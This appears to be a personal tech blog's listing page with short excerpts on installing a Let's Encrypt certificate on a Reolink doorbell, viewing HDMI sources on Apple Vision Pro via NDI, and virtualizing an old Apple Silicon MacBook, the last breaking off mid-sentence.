I wanted to replace the self-signed certificate with one signed by Let's Encrypt, and
did not want to perform this action manually.

I asked Reolink technical support, but they answered there is no API to manage certificates.

So I did some research and found the Reolink doorbell camera and probably other models 
do support to upload your own certificates.

Displaying HDMI sources on Apple Vision Pro

While it's possible to stream most content to Apple Vision Pro directly over the internet, having the ability to use Apple Vision Pro as an HDMI display can still be useful.

Since Apple Vision Pro does not support connecting to an HDMI input directly or using an HDMI capture card, we have to be a little creative to make this work. NDI provides the ability to stream HDMI content over a local network with really low latency, and it works great with Apple Vision Pro.

This page shows the setup I’m using.

P2V on Apple Silicon - Converting a Physical Apple Silicon MacBook to a Virtual Machine on another Apple Silicon device (M1, M2, M3) on Apple's Virtualization Framework

Outline: Having recently bought a MacBook Pro (M3 Max) to replace my MacBook Air (M2), I decided it would be a good idea to start fresh and reinstall everything on my new Mac. However, I always like to keep a backup of my old data, so I thought it would be a good idea to virtualize my old machine on my new machine. Having much previous experience working with Windows P2V's (Physical to Virtual), I figured it would be as simple as Clone, Copy, Restore, and Boot. However, with the advent of Apple's new Signed System Volume, as well as the differences in file systems, APFS containers, and all, this ended up being a project that took about 2 days of nonstop researching, debugging, when I expected it to be a project which would last as long as it would take to clone my drive. I was very wrong. However, with all of my newfound knowledge in this s
